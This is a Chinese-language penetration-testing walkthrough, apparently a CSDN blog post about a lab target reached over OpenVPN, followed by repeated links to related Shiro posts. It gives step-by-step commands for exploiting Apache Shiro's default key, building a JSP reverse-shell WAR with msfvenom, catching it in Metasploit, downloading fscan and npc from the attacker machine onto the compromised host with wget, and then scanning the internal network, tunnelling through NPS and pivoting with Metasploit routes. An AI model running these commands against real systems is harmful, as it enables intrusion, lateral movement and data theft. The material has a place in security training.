一、环境准备
步骤1:启动OpenVPN连接
打开终端,执行OpenVPN连接命令启动VPN。
启动后保持该终端开启,不要关闭。
等待连接成功,终端中出现 tun0 接口信息即表示连接成功。
【提示】如果同时出现 tun1 等多个接口,说明有多余连接在冲突,请关闭多余连接,避免端口打架。
(图1)
步骤2:启动Shiro漏洞利用工具
打开一个新的终端窗口。
执行Shiro工具启动命令。
启动后同样保持该终端开启,不要关闭。
(图4)
二、漏洞探测与利用
步骤3:配置目标网站
在Shiro工具界面中粘贴目标网站URL。
先点击「爆破秘钥」按钮,对Shiro默认密钥进行爆破。
密钥爆破完成后,点击「爆破利用链」按钮,自动探测可利用的利用链。
(图5)
步骤4:验证权限可用性
利用工具提供的测试功能,验证当前权限是否可用。
确认权限可用后,打开一个新的终端窗口,准备进行下一步操作。
(图6)
三、反向Shell搭建
步骤5:生成木马Payload
利用msfvenom生成反向shell木马文件。
将终端命令写入脚本文件,方便后续一键执行(一键上马)。
注意:lhost参数必须填写当前tun0接口的IP地址,端口可根据需要修改。
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=<端口> -f war > shell.war
(图7)
步骤6:配置MSF监听
打开msfconsole终端。
按顺序设置以下参数:
use exploit/multi/handler(选择监听模块)
set PAYLOAD java/jsp_shell_reverse_tcp(设置payload类型)
set LHOST (设置监听地址)
set LPORT <端口>(设置监听端口)
set AutoRunScript post(multi/manage/autoroute)(可选:自动配置路由)
执行 exploit 命令开启监听。
【提示】如不确定具体参数,可参考msf文档或向AI助手咨询。
(图8)
步骤7:执行利用获取Shell
回到Shiro工具终端。
复制之前准备的一键上马命令。
在目标网站执行该命令。
如果成功,MSF终端会返回一个session,表示已成功获取目标权限。
(图9)
四、后渗透:工具上传
步骤8:进入目标Shell
在MSF中输入 sessions 1 进入获取的session。
输入 shell 进入目标主机的交互式shell。
(图10)
步骤9:上传扫描工具到目标主机
在目标shell中,切换到fscan工具所在目录。
使用wget命令将fscan和npc工具从攻击机下载到目标主机:
wget http://<攻击机IP>:<端口>/fscan
wget http://<攻击机IP>:<端口>/npc
使用ls命令验证文件是否上传成功。
使用md5sum命令验证文件完整性(对比本地和目标文件的md5值)。
使用chmod +x命令给工具添加执行权限:
chmod +x fscan
chmod +x npc
(图11)
五、内网扫描
步骤10:获取内网网段信息
在MSFconsole中使用ifconfig命令查看目标主机的内网IP地址。
注意:目标shell中不能直接调用ifconfig,需要通过MSF的run命令或在MSFconsole中执行。
根据获取到的IP信息,确定内网网段(如10.10.135.0/24)。
(图17)
步骤11:执行内网漏洞扫描
在目标shell中使用fscan对内网网段进行扫描:
./fscan -h 10.10.135.0/24
扫描完成后,记录发现的漏洞信息和存活主机IP。
【提示】如果发现漏洞但想让主机主动连接攻击机,需要进行内网穿透。
(图18)
六、内网穿透(NPS)
步骤12:启动NPS客户端
在攻击机上启动nps客户端程序。
(图19)
步骤13:配置NPS管理面板
浏览器访问本机8080端口(http://localhost:8080)。
使用默认账号密码登录:admin / 123。
在面板中填写连接名称(只需填名字即可)。
(图20)
步骤14:创建SOCKS隧道
新增连接后刷新页面,点击「隧道」→「新建」,选择socks类型。
注意:设置的端口需要与本地代理端口保持一致。
复制生成的连接命令。
【提示】如不确定端口配置,可让AI助手协助生成。
(图21)
步骤15:执行穿透命令
将复制的命令中的IP地址修改为Kali攻击机的IP地址。
修改后的命令示例:
./npc -server=192.168.196.163:8024 -vkey=xxx -type=tcp
在Shiro工具所在的机器(目标主机)上运行该命令。
内网穿透配置完成后,即可通过穿透通道访问内网服务。
(图22)
七、SQL注入利用
步骤16:使用SQL注入工具
通过已建立的穿透通道,使用sqllab工具对目标进行SQL注入测试。
根据目标系统的响应判断注入点并提取数据。
(图23)
八、MSF模块利用(备选方案)
步骤17:配置路由与利用模块
在MSF中输入sessions进入会话管理。
配置内网路由(route add命令添加目标内网网段路由)。
按Bg回车返回到MSF主界面。
选择一个合适的攻击模块(可根据扫描结果选择对应漏洞的exploit)。
设置模块参数(RHOSTS、LHOST等)。
执行exploit命令发起攻击。
观察输出,确认是否成功获取数据或权限。
(图24)
附录:常用命令速查
| 操作场景 | 命令/操作 |
| OpenVPN连接 | openvpn --config <配置文件>.ovpn |
| msfvenom生成payload | msfvenom -p LHOST= LPORT=<端口> -f <格式> > <文件名> |
| msfconsole监听 | msfconsole → use exploit/multi/handler → set PAYLOAD → set LHOST → set LPORT → exploit |
| 上传文件(wget) | wget http://<攻击机IP>:<端口>/<文件名> |
| 查看文件 | ls -la |
| 验证完整性 | md5sum <文件名> |
| 添加执行权限 | chmod +x <文件名> |
| fscan内网扫描 | ./fscan -h <网段> |
| NPS客户端 | ./npc -server=<服务器IP>:8024 -vkey=<密钥> -type=tcp |
| MSF会话管理 | sessions -l(列表)→ sessions (进入)→ shell(交互) |
| MSF路由添加 | run autoroute -s <网段>/24 |
常见安全架构中 Shiro 的认证确认机制解析-CSDN博客文章浏览阅读344次。Shiro 的认证确认可以概括为:Token 收集凭证、Authenticator 调度、Realm 查询数据、CredentialsMatcher 比对密码、Session 固化结果。理解这条链路,就能在常见架构中灵活配置 Shiro,无论是单体 Session 还是分布式 Token 方案,都能找到对应的确认落点。https://blog.csdn.net/2503_91800161/article/details/166010842?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166010842?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166010842?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166010842?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166010842?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166010842?spm=1001.2014.3001.5501
https://blog.csdn.net/2503_91800161/article/details/166010842?spm=1001.2014.3001.5501除了 Shiro 还有什么常见架构?Spring Security 详解-CSDN博客文章浏览阅读210次。选择安全架构时,需要结合项目规模、团队熟悉度和生态要求综合判断。如果项目基于 Spring Boot 且需要长期演进,Spring Security 是更稳妥的选择;如果追求轻量和快速上手,Shiro 或 Sa-Token 也是不错的方案。https://blog.csdn.net/2503_91800161/article/details/166492353?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166492353?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166492353?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166492353?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166492353?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166492353?spm=1001.2014.3001.5501
https://blog.csdn.net/2503_91800161/article/details/166492353?spm=1001.2014.3001.5501Java Web 安全认证架构详解:Shiro、Spring Security 之外的常见方案与渗透测试思路-CSDN博客https://blog.csdn.net/2503_91800161/article/details/166492649https://blog.csdn.net/2503_91800161/article/details/166492649https://blog.csdn.net/2503_91800161/article/details/166492649https://blog.csdn.net/2503_91800161/article/details/166492649https://blog.csdn.net/2503_91800161/article/details/166492649https://blog.csdn.net/2503_91800161/article/details/166492649
https://blog.csdn.net/2503_91800161/article/details/166492649Java Web 安全认证架构详解:Shiro、Spring Security 之外的常见方案与渗透测试思路-CSDN博客https://blog.csdn.net/2503_91800161/article/details/166599565?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166599565?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166599565?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166599565?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166599565?spm=1001.2014.3001.5501https://blog.csdn.net/2503_91800161/article/details/166599565?spm=1001.2014.3001.5501
https://blog.csdn.net/2503_91800161/article/details/166599565?spm=1001.2014.3001.5501